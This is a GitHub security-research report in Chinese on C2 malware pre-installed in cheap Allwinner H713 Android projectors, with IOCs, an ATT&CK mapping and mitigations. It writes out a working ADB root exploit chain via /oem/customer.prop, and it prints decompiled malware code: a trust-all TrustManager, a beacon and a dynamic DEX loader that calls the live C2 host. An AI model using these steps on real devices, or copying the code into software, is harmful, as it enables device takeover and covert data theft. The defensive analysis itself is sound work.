Kavan00/Android-Projector-C2-Malware

GitHub: Kavan00/Android-Projector-C2-Malware

本项目揭示了预装在廉价 Android 投影仪中的隐蔽 C2 恶意软件链,提供完整的技术分析与缓解方案。

Stars: 9 | Forks: 1

# Android 投影仪预装 C2 基础设施与 RAT 载荷项目的技术分析报告 **技术分析报告 — 安全研究** --- **受影响设备:** 多个 Nonete、Magcubic 等品牌的 Android 投影仪(如型号 HY260Pro)(很可能还包括 Hotack、Huyukang 等多个品牌,因为这些公司分销相似型号,且有迹象支持此推测) **芯片平台:** Allwinner H713 / sun50iw12p1 — 可能影响该平台上的所有设备 **分析时间:** 2026 年 4 月 11–12 日 **分类:** 预装命令与控制基础设施并附带远程访问木马(RAT)载荷 --- ## 简明摘要(TL;DR) - **问题:** 大量廉价的 Android 投影仪(可能包括 Magcubic、Hotack 等品牌,采用 Allwinner H713 芯片)**从出厂即被植入恶意软件**(供应链攻击,类似“BADBOX”案例),目前在 Amazon、eBay、AliExpress 上大量销售。 - **机制:** 一个看似无害的系统应用(“StoreOS”)充当**隐蔽的下载器**,在后台静默下载名为“SilentSDK”的远程访问木马(RAT),并以最高系统权限安装。 - **危险:** 恶意软件建立持久化 C2 连接至中国(`api.pixelpioneerss.com`),提取敏感设备 ID,并能**随时下载并执行任意附加恶意代码(root 权限)**(`chmod 777`)。此外,设备还具备开放的 root 后门。 - **即时缓解:** 必须在网络层面拦截 C2 域名(尤其是 `*.aodintech.com` 和 `api.pixelpioneerss.com`)。受影响用户只能通过 ADB 手动禁用恶意应用,因其深度嵌入系统。 --- ## 紧急通知 本报告中记录的恶意软件基础设施预装在当前正大量销售给终端消费者的 Android 投影仪上。受影响设备涵盖多个品牌(Hotack、Huyukang、Magcubic、Nonete 等),但共享同一 OEM 平台——**蓝鲨(Blue Shark,深圳)**。同一 C2 基础设施已在其他同厂商设备上独立确认(见第 13 节)。 分析模式与 BADBOX 类似。 在分析期间,C2 服务器处于活跃状态,并向全球所有设备交付已验证为 RAT 的载荷(`zone: "Global"`)。 --- ## 目录 1. 设备识别 2. 调查流程 3. Root 访问 — 漏洞利用路径 4. C2 服务器响应 — 核心证据 5. 恶意软件生态系统概览 6. StoreOS — 下载器分析(com.htc.storeos) 7. SilentSDK — RAT 分析(com.hotack.silentsdk) 8. EventUploadService — 遥测(com.htc.eventuploadservice) 9. ExpandSDK — 广告注入(com.htc.expandsdk) 10. 系统后门 11. 网络取证 12. 设备伪造(构建指纹伪造) 13. 外部确认 14. 妥协指标(IOCs) 15. MITRE ATT&CK 映射 16. 即时缓解措施 17. 参考资料 --- **购买设备:** [亚马逊链接 — Nonete Mini Beamer 4K 1080P](https://www.amazon.com/-/de/dp/B0DYXQN9S8/ref=sr_1_3) --- ## 1. 设备识别 | 属性 | 值 | |:---|:---| | 品牌名称 | Nonete HY260Pro(多公司销售型号) | | 内部型号名称 | NT10 | | SoC | Allwinner sun50iw12p1(ARM 32 位) | | 操作系统 | SpectraOS(Android 11,内核 5.4.99) | | 真实构建指纹 | Allwinner/h713_tuna_p3/h713-tuna_p3:11 | | 伪造构建指纹 | ADT-3/adt3/adt3:11/RP1A.201005.006 | | SELinux | 宽容模式(无强制) | | 平台签名密钥 | 公开 AOSP 测试密钥 | | OEM 证书 | CN=蓝鲨, OU=www.bsh.me, C=CN | | 固件通道 | HY260Pro_SpectraOS_TPYB | **注意范围:** Allwinner H713 芯片被广泛用于多种廉价 Android 投影仪,销售品牌不断变化。相同的固件基础(`h713_tuna_p3`)与相同的 C2 运营者(深圳奥丁科技)强烈表明该 OEM 的所有设备均包含相同的基础设施。 --- ## 2. 调查流程 | 步骤 | 操作 | 结果 | |:---|:---|:---| | 1 | Wireshark 网络流量捕获 | 检测到至 `store-api.aodintech.com` 的 HTTP 流量 | | 2 | 解码 gzip 压缩的 C2 响应 | 包含 7 个应用程序的列表,其中含隐藏的 “SilentTools” | | 3 | AES-CBC 解密下载路径 | 密钥 `6c4928fb40e31789`,获取到 `.bpp` 文件 URL | | 4 | 通过 `/oem/customer.prop` 获取 root 权限 | 注入属性后获得 `uid=0(root)` | | 5 | 对 `/data`、`/oem`、`/system` 进行取证转储 | 获取 APK、数据库、配置文件 | | 6 | 静态分析 StoreOS DEX | 包含 `pm install -r`,字节序保护 | | 7 | 逆向工程 `reverseLen` 机制 | 理解反分析保护 | | 8 | 破解字节序保护 | 成功解码可分析的 SilentSDK DEX | | 9 | XOR 解密 SilentSDK 字符串 | 确认 C2 域 `api.pixelpioneerss.com` | | 10 | 哈希校验跨三个来源 | MD5/SHA-256 完全匹配 | --- ## 3. Root 访问 — 漏洞利用路径 通过以下三种漏洞组合获得 Root 权限: 1. **SELinux 宽容模式** — 违规仅被记录,不被阻止。 2. **全局可写 `/oem` 分区** — 以 `fmask=0000` 挂载为 FAT。 3. **`customer.prop` 在启动时加载** — 覆盖系统属性。 ``` adb shell getenforce # Result: Permissive adb shell ls -la /oem/ # All files world-writable adb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop' adb reboot && adb wait-for-device && adb root adb shell id # uid=0(root) gid=0(root) context=u:r:su:s0 ``` **影响:** 任何具备物理访问权限的攻击者,或在同一网络中的攻击者(通过 ADB,端口 5555 开放且无认证)均可获得完整 Root 权限。 --- ## 4. C2 服务器响应 — 核心证据 ### 捕获的 HTTP 请求 ``` POST /sign/app/list HTTP/1.1 chanId: HY260Pro_SpectraOS_TPYB timestamp: 1775904428922 sign: [REDACTED] Content-Type: application/json;charset=UTF-8 Content-Length: 184 Host: store-api.aodintech.com Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/5.0.0-alpha.12 ``` ### 服务器响应(从 pcapng 解码的表格) 经过 gzip 压缩的响应包含七个应用程序的 JSON 列表。其中六个为常规流媒体应用(YouTube、Netflix、Disney+、Prime Video、Chrome、BrowseHere)。第七个是 SilentTools: | 应用 | 包名 | isShow | isForce | isSilent Install | isSilent Uninstall | launch Type | |:---|:---|:---|:---|:---|:---|:---| | YouTube | `com.google.android.youtube.tv` | true | false | false | false | 0 | | Disney+ | `com.disney.disneyplus` | true | false | false | false | 0 | | Netflix | `com.netflix.mediaclient` | true | false | false | false | 0 | | Chrome | `com.android.chrome` | true | false | false | false | 0 | | Prime Video | `com.amazon.amazonvideo.livingroom` | true | false | false | false | 0 | | BrowseHere | `com.tcl.browser` | true | false | false | false | 0 | | **SilentTools** | **`com.hotack.silentsdk`** | **false** | **true** | **false** | **true** | **1** | ### SilentTools 配置详情 ``` { "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "[http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png](http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png)", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" } ``` **标志位解释:** - `isShow: false` — 应用不在商店界面显示。 - `isForce: true` — 可能强制执行或更新操作。 - `isSilentUninstall: true` — 可在无用户交互下自行卸载。 - `launchType: 1` — 自动启动后台服务。 - `launchParam: MyService` — 指向持久化服务的引用。 - `zone: "Global"` — 全球范围目标。 - `reverseLen` — 恢复 SilentSDK `.apk` 所需的字节长度。 ### 加密下载路径 `path` 字段采用 AES-CBC 加密: - **密钥/IV:** `[REDACTED]`(AES-CBC,明文) -> 设备的 ChannelID。 - **解密结果:** ``` [http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp](http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp) ``` **注意:** 本捕获中 `isSilentInstall` 为 `false`。`isForce: true` 的确切语义无法从反编译代码中明确推断;不能排除服务器端动态设置为 `true` 的可能性。 --- ## 5. 恶意软件生态系统概览 设备包含四个交互式系统应用,均使用 AOSP 测试密钥签名并以 UID 1000(系统)运行: ``` ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com + ExpandSDK (Ad-Injection) → pb-api.aodintech.com ``` --- ## 6. StoreOS — 下载器分析 StoreOS 看似一个自动安装的应用商店,但其功能实际为**下载器**。 - **包名:** `com.htc.storeos` - **SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9` - **VirusTotal:** BitDefender 检测为 `Android.Riskware.TestKey.rB` ### 权限 | 权限 | 影响 | |:---|:---| | `INSTALL_PACKAGES` | 无提示静默安装 | | `CLEAR_APP_USER_DATA` | 删除任意应用数据 | | `MASTER_CLEAR` | 触发出厂重置 | | `WRITE_SECURE_SETTINGS` | 修改安全设置 | | `DEVICE_POWER` | 设备电源管理 | | `MANAGE_EXTERNAL_STORAGE` | 完全访问外部存储 | ### 安装流程(反编译代码) 1. **BootReceiver** 启动 `CheckUpdateService`。 2. 向 `store-api.aodintech.com/sign/app/list` 发送 HTTP POST。 3. 服务器返回 `AppsData[]`,包含字段:`pkg`、`path`、`isForce`、`isShow`、`isSilentInstall`、`isSilentUninstall`、`launchType`、`launchParam`、`reverseLen`、`md5`。 4. `DownloadService` 从 CDN 下载 APK(`.bpp` 后缀)。 5. **字节序反保护:** 前 `reverseLen` 字节被反转(反分析措施)。 6. MD5 校验下载文件。 7. 通过 `Runtime.getRuntime().exec("pm install -r " + filePath)` 安装。 8. 根据 `launchParam` 启动应用服务。 ### 字节序反转机制 — 技术证明 **类:** `AbstractC2057b` — **方法:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX 该方法反转每个下载 APK 的前 `reverseLen` 字节。因此,截获的 `.bpp` 文件无法被识别或提取为有效 APK,除非知晓特定的 `reverseLen` 值。 ``` // Simplified representation of the byte-reversal algorithm // Original code: AbstractC2057b.m4131f() int offset = fileSize % reverseLen; if (fileSize - offset < reverseLen) { reverseLen = fileSize; offset = 0; } // 1. Copy offset bytes unchanged // 2. Read reverseLen bytes and reverse them: for (int head = 0, tail = readCount - 1; head < tail; ) { byte tmp = buffer[head]; buffer[head] = buffer[tail]; buffer[tail] = tmp; head++; tail--; } // 3. Copy the remaining bytes unchanged ``` **在下载路径中的调用**(类 `RunnableC1595d`,case 0): ``` if (downInfo.getReverseLen() != 0) { String outputPath = inputPath.replace(".apk", "des.apk"); if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) { // Error handling return; } downInfo.setFileSavePath(outputPath); } // Followed by MD5 verification and installation ``` 通过反转该机制,成功解码并分析了 SilentSDK APK。 ### 地理定位 StoreOS 使用 `api.ipdatacloud.com/v2/query` 进行 IP 地理定位。`SpecialApps` 类包含 `continent` 和 `countryCode` 字段,支持区域特定载荷分发。 --- ## 7. SilentSDK — RAT 分析 - **包名:** `com.hotack.silentsdk` - **SHA-256(解码后):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7` - **MD5(解码后):** `5df097591d6942bae4eff33a37c4e28f` ### 清单分析 | 属性 | 值 | 含义 | |:---|:---|:---| | `sharedUserId` | `android.uid.system` | 系统权限(UID 1000) | | `usesCleartextTraffic` | `true` | 允许明文 HTTP 流量 | | 启动图标 | 对用户不可见 | 隐藏于用户界面 | | `BootReceiver` | 优先级 999 | 优先于大多数其他应用启动 | | `MyService` | 可导出,前台 | 持久化后台服务 | | `BootStartActivity` | `com.htc.bootstart` | 额外启动触发器 | ### DEX 打包与解密 原始 DEX 被打包:头部声明 2,318,316 字节,但压缩文件仅含 65,536 字节且 Adler32 校验和无效。在突破 StoreOS 字节序保护后,DEX 完全可读 — 文件大小与声明一致,可提取 16,241 个字符串。 ### XOR 混淆 — 技术证明 所有安全相关字符串通过 `AbstractC0000a.m36g()` 方法中的旋转 XOR 密码混淆: ``` public static String m36g(byte[] data, byte[] key) { int i3 = 0, i4 = 0; while (i3 < data.length) { if (i4 >= key.length) i4 = 0; data[i3] = (byte) (data[i3] ^ key[i4]); i3++; i4++; } return new String(data); } ``` ### 解密字符串 | 混淆调用 | 结果 | 功能 | |:---|:---|:---| | `m36g({-99,127,58,-103,...}, {-4,15,83,-73,...})` | `api.pixelpioneerss.com` | C2 域 | | `m36g({125,61,58,...}, {21,73,78,...})` | `https://` | 主协议 | | `m36g({0,90,58,...}, {104,46,78,...})` | `http://` | SSL 错误时的备用 | | `m36g({-22,78,59}, {-71,29,117,...})` | `SSL` | TLS 协议 | | `m36g({-83,-92,-19,...}, {-50,-52,...})` | `chmod 777` | Shell 命令 | | `m36g({7,-68}, {116,-44,...})` | `sh` | Shell 二进制 | | `m36g({-15}, {-112,-1,...})` | `a` | 自定义 HTTP 头名称 | ### C2 通信 — 技术证明 **类:** `RunnableC0569n`(包 `p004b`) **步骤 1 — 生成带随机路径的 URL:** 方法 `m1760b()` 为每个请求生成唯一 URL: ``` // Simplified representation of RunnableC0569n.m1760b() String protocol = useHttps ? "https://" : "http://"; // f2663d = XOR-decrypted to "api.pixelpioneerss.com" String domain = f2663d; // Random path: 8-12 alphanumeric characters int length = random.nextInt(5) + 8; char[] path = new char[length]; // At least one letter (a/A/b/B) at a random position // Remainder: Digits and letters return protocol + domain + "/" + new String(path); // Result e.g.: [https://api.pixelpioneerss.com/aB3k9mP2s](https://api.pixelpioneerss.com/aB3k9mP2s) ``` **步骤 2 — 蜂鸣载荷:** ``` // From RunnableC0569n.run() — JSON Construction JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Device ID beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version beacon.put("i", isRootAvailable); // Root check ``` **步骤 3 — AES 加密与传输:** ``` // AbstractC0556a.m1728d() — AES-128-CBC Encryption byte[] encrypted = AES_CBC_encrypt(json.getBytes()); // AbstractC0000a.m41j() — HTTP POST with Custom TrustManager byte[] response = m41j(url, encrypted); // Key and IV are appended in plaintext to the message ``` **步骤 4 — 处理服务器响应:** ``` // From RunnableC0569n.run() JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes ``` ### SSL 绕过 — 技术证明 **类:** `C0565j`(实现 `X509TrustManager`) ``` // From AbstractC0000a.m41j() — TrustManager accepts ALL certificates TrustManager[] trustManagerArr = {new C0565j()}; SSLContext sslContext = SSLContext.getInstance("SSL"); sslContext.init(null, trustManagerArr, new SecureRandom()); ((HttpsURLConnection) conn).setSSLSocketFactory( sslContext.getSocketFactory() ); ``` 若发生 SSL 错误(`SSLException`),`f2664e` 设为 `false`,后续所有请求改用 HTTP。 ### 自定义 HTTP 头 所有 C2 请求均包含头 `a: 1003` — 该恶意家族签名: ``` httpURLConnection.setRequestProperty( m36g({-15}, {-112,...}), // → "a" String.valueOf(1003) // → "1003" ); ``` ### 持久化与动态加载 方法 `m1762a()`(类 `RunnableC0569n`)实现完整载荷下载循环: 1. C2 下载 DEX 文件。 2. 验证 MD5 哈希。 3. 在 SharedPreferences 中保存版本号。 4. 通过 `DexClassLoader` 或 `Runtime.exec()` 加载并执行。 5. 出错时:递增 SharedPreferences 中的重试计数器,失败 13 次后暂停。 --- ## 8. EventUploadService — 遥测 - **包名:** `com.htc.eventuploadservice` - **目标:** `http://event-api.aodintech.com/report` - **间隔:** 每 5 分钟 | 字段 | 示例值 | 隐私影响 | |:---|:---|:---| | `deviceId` | `[REDACTED]` | MAC 地址(PII) | | `deviceSn` | `[REDACTED]` | 序列号(唯一) | | `channel` | `HY260Pro_hy_TPYB` | 固件通道 | | `version` | `Projector.20250422.152235` | 固件版本 | | `model` | `NT10` | 设备型号 | | `language` | `en_US` | 语言设置 | 通过未加密的 HTTP 传输,且未经用户同意。MAC 地址与序列号可用于精确识别与追踪单个设备。 --- ## 9. ExpandSDK — 广告注入 - **包名:** `com.htc.expandsdk` - **C2 服务器:** `pb-api.aodintech.com`、`euads-o.api.leiniao.com` ExpandSDK 使用 TCL VastAd SDK 提供视频广告,能够渲染系统覆盖对话框(`SYSTEM_ALERT_WINDOW`)并可在任意屏幕位置显示。配置包含位置字段(`AdDialogX`、`AdDialogY`、`Width`、`High`、`Gravity`)及合作伙伴标识符 `htk`(Hotack)。 ExpandSDK 作为独立的货币化渠道与 SilentSDK 分离运行。 --- ## 10. 系统后门 ### 10.1 隐藏的 `su` 二进制:`/system/bin/qw` 重命名为 `qw` 的 Koushikdutta Superuser(388 KB,静态链接,ARM 32 位): ``` # /system/etc/init/qw.rc service qw /system/bin/qw --daemon user root group root class core ``` - **进程:** PID 2409,UID 0(root) - **套接字:** `/dev/com.koushikdutta.superuser.daemon/server`(srwxrwxrwx) - **TCP 端口:** 65528(UID 0) ### 10.2 AOSP 测试密钥作为平台签名密钥 平台签名证书为 AOSP 源码中公开包含的测试密钥(`packages.xml` 中证书索引 0)。任何使用此密钥签名的应用均可自动获得系统权限。该密钥对任意 Android 开发者开放获取。 ### 10.3 额外开放服务 | 端口 | UID | 描述 | |:---|:---|:---| | 65528 | root (0) | `su` 守护进程 | | 5555 | root (0) | 无认证 ADB | | 7889/7890 | system (1000) | 未知服务 | | 10012/10013 | system (1000) | 工厂调试? | ### 10.4 `dbgserver` `/vendor/bin/dbgserver` — 硬件寄存器 I/O 服务器,通过世界可写设备 `/dev/hidtvreg`(crwxrwxrwx)通信。 --- ## 11. 网络取证 所有 C2 通信均通过未加密的 HTTP 进行。这使得中间人(MITM)攻击成为可能:同一网络中的攻击者可操纵应用列表并注入任意 APK,随后以系统权限安装。 | 服务器 | 端点 | 功能 | |:---|:---|:---| | `store-api.aodintech.com` | `POST /sign/app/list` | 应用分发 | | `cdn-store.aodintech.com` | `GET /*.bpp` | APK 下载 | | `event-api.aodintech.com` | `POST /report` | 遥测 | | `api.pixelpioneerss.com` | `POST /(随机)` | SilentSDK RAT C2 | | `pb-api.aodintech.com` | `GET /api/collections/...` | 广告配置 | | `ota.triplesai.com:8080` | `POST /V1/Ota/Check` | 固件更新 | | `api.ipdatacloud.com` | `GET /v2/query` | IP 地理定位 | | `euads-o.api.leiniao.com` | — | 二级广告服务器 | | `connect.rom.miui.com` | — | 小米遥测 | --- ## 12. 设备伪造 设备将其自身伪装为 Google 的 ADT-3(Android TV 开发者套件): | 属性 | 伪造值 | 真实值 | |:---|:---|:---| | `ro.build.fingerprint` | `ADT-3/adt3/adt3:11` | — | | `ro.product.build.*` | — | `Allwinner/h713_tuna_p3` | | 构建日期 | — | Tue Apr 22 15:20 CST 2025 | 此伪造行为疑似用于绕过 Google Play 认证检查。 --- ## 13. 外部确认 ### 独立分析 2026 年 1 月,安全研究员 Zane St. John 发布了针对相同设备的相同恶意软件基础设施分析。所有关键点均匹配:C2 端点、XOR 混淆、AES-128-CBC 协议、活动 ID `f101`、SSL 绕过、`chmod 777`。Zane St. John 分析的设备的 SilentSDK 已预装,而本设备中的 SilentSDK 是在接收到 `aodintech` 触发信号后下载安装的。端点亦存在轻微变动,表明可能存在端点轮换。 **来源:** https://zanestjohn.com/blog/reing-with-claude-code ### 三来源哈希校验一致性 | 来源 | MD5 | SHA-256 | |:---|:---|:---| | C2 服务器响应 | `5df097591d694...` | — | | 本地解码 APK | `5df097591d694...` | `e5a193c31526a...` | | 外部分析 | — | `e5a193c31526a...` | C2 分发、本地解码与外部分析的哈希完全一致 — 确认其为完全相同的恶意软件。 **这证实了恶意软件的广泛传播。** ### VirusTotal StoreOS-APK:BitDefender 检测为 `Android.Riskware.TestKey.rB`;无其他反病毒引擎触发告警。 --- ## 14. 妥协指标(IOCs) ### 域名 ``` api.pixelpioneerss.com # SilentSDK RAT C2 store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server ``` ### 网络特征 ``` User-Agent: okhttp/5.0.0-alpha.12 HTTP-Header: a: 1003 # SilentSDK Signature POST /sign/app/list # StoreOS C2 Beacon POST /report # EventUpload Telemetry ``` ### 包名与哈希 ``` com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk ``` ### 文件系统 ``` /system/bin/qw # su Binary /dev/com.koushikdutta.superuser.daemon/server # su Socket /oem/customer.prop # World-writable /vendor/bin/dbgserver # HW-Debug /dev/hidtvreg # World-writable ``` --- ## 15. MITRE ATT&CK 映射 | 技术 | ID | 证据 | |:---|:---|:---| | 供应链妥协 | T1195.002 | 恶意软件工厂预装 | | 登录或启动时自动执行 | T1547 | BootReceiver 优先级 999 | | 混淆文件或信息 | T1027 | XOR 字符串、DEX 打包 | | 应用层协议 | T1071 | HTTP/HTTPS C2 | | 动态数据交换 / 载荷注入 | T1055 | DexClassLoader、chmod 777 | | 系统信息发现 | T1082 | 设备指纹识别 | | 本地数据 | T1005 | MAC、序列号、IMEI | | 通过 C2 通道外泄 | T1041 | 周期性遥测 | | 伪装 | T1036 | .bpp 扩展名、ADT- 伪造 | | Rootkit | T1014 | 隐藏的 su 二进制 | --- ## 16. 即时缓解措施 ### 对于受影响终端用户 ``` adb shell pm disable-user --user 0 com.hotack.silentsdk adb shell pm disable-user --user 0 com.htc.storeos adb shell pm disable-user --user 0 com.htc.eventuploadservice adb shell pm disable-user --user 0 com.htc.expandsdk adb shell pm disable-user --user 0 com.htc.htcotaupdate ``` ### 网络层面阻断 ``` # DNS blocking or firewall rules for: store-api.aodintech.com cdn-store.aodintech.com event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com ota.triplesai.com ``` --- ## 17. 参考资料 1. Zane St. John, "Reverse-Engineering Pre-installed Android Malware with Claude Code", 2026 年 1 月。https://zanestjohn.com/blog/reing-with-claude-code 2. BSI: "BSI warns against pre-installed malware on IoT devices" (BADBOX), 2023 年 10 月。 3. VirusTotal 对 StoreOS APK 的分析。 --- **分析时间:** 2026 年 4 月 11–12 日
标签:Allwinner H713, Android 项目器, aodintech.com, api.pixelpioneerss.com, API接口, C2 域名, CSV导出, dropper, IP 地址批量处理, JS文件枚举, RAT, root, SilentSDK, StoreOS, T1055, T1057, T1059, T1065, T1068, T1071, T1548, T1574, Web报告查看器, 供应链攻击, 后门, 威胁情报, 开发者工具, 恶意软件, 系统权限, 远程访问木马, 逆向工具, 预装恶意软件